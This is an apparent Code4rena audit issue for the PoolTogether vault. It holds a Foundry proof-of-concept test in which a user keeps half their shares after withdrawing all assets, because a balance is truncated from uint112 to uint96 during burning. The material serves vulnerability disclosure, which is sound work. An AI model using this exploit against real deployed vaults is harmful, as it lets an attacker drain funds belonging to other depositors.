code-423n4 / 2023-07-pooltogether-findings

12 stars 7 forks source link

Upgraded Q -> 3 from #264 [1691857350267] #480

Closed c4-judge closed 11 months ago

c4-judge commented 11 months ago

Judge has assessed an item in Issue #264 as 3 risk. The relevant finding follows:

Let's see how it can be exploited. You can add this test to Withdraw.t.sol and run with forge test -vv --match-contract VaultWithdrawTest --match-test testWithdrawAllAssetsForHalfShares:

function testWithdrawAllAssetsForHalfShares() external { vm.startPrank(alice);

// Alice deposits type(uint96).max amount of assets
uint256 _amount =  uint256(type(uint96).max);
underlyingAsset.mint(alice, _amount);
_deposit(underlyingAsset, vault, _amount, alice);
console2.log("shares", vault.balanceOf(alice)); // shares 79228162514264337593543950335

// Alice again deposits type(uint96).max amount of assets
underlyingAsset.mint(alice, _amount);
_deposit(underlyingAsset, vault, _amount, alice);
console2.log("shares", vault.balanceOf(alice)); // shares 158456325028528675187087900670

// Alice withdraws max possible amount of assets
vault.withdraw(vault.maxWithdraw(alice), alice, alice);
// Alice receives all assets
console2.log("assets", underlyingAsset.balanceOf(alice)); // assets 158456325028528675187087900670
// Alice still has a half of shares amount
console2.log("shares", vault.balanceOf(alice)); // shares 79228162514264337593543950336

// Due to rounding we should extract `1` from balance
assertEq(vault.balanceOf(alice) - 1, type(uint96).max);
assertEq(underlyingAsset.balanceOf(alice), _amount * 2);

vm.stopPrank();

} Users can have balances more than type(uint96).max because of uint112 in the field balance of AccountDetails struct. But burning from their balances will be only for amounts less than type(uint96).max because of bits cut off during type conversion in the _burn.

c4-judge commented 11 months ago

Picodes marked the issue as duplicate of #439

c4-judge commented 11 months ago

Picodes marked the issue as satisfactory